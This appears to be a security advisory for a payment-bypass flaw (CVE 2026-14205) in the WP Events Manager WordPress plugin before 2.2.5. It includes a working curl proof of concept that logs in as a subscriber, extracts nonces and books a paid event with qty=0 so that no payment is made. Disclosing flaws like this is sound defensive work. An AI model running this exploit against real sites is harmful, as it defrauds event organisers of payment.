WP Events Manager < 2.2.5 – Subscriber+ Payment Bypass via 'qty' Parameter | CVE 2026-14205

Description

The plugin does not validate the requested quantity when registering for a paid event and computes the price from the attacker-controlled quantity, allowing any authenticated user to create a completed booking for a paid event without making a payment.

Proof of Concept

Prerequisites: a published paid event (price > 0); an attacker Subscriber account.

BASE="https://victim.example"
# 1. Log in as a subscriber
curl -sk -c c.txt "$BASE/wp-login.php" -d "log=subscriber&pwd=PASSWORD&wp-submit=Log+In&redirect_to=$BASE/wp-admin/" -L -o /dev/null
# 2. Get the register nonce from the public event page (localised for any logged-in visitor)
REG=$(curl -sk -b c.txt "$BASE/events/EVENT_SLUG/" | grep -oE '"register_button":"[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
# 3. Load the booking form to obtain the event_auth_register nonce
AUTH=$(curl -sk -b c.txt "$BASE/wp-admin/admin-ajax.php" --data-urlencode "action=load_form_register" --data-urlencode "event_id=EVENT_ID" --data-urlencode "nonce=$REG" | grep -oE 'name="event_auth_register_nonce" value="[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
# 4. Book the PAID event with qty=0 -> price becomes 0 -> free-event auto-completion path
curl -sk -b c.txt "$BASE/wp-admin/admin-ajax.php" --data-urlencode "action=event_auth_register" --data-urlencode "event_id=EVENT_ID" --data-urlencode "qty=0" --data-urlencode "event_auth_register_nonce=$AUTH" --data-urlencode "payment_method="
# Response: {"status":true,...}  -> an ea-completed booking is created for the paid event with price 0 and no payment processed.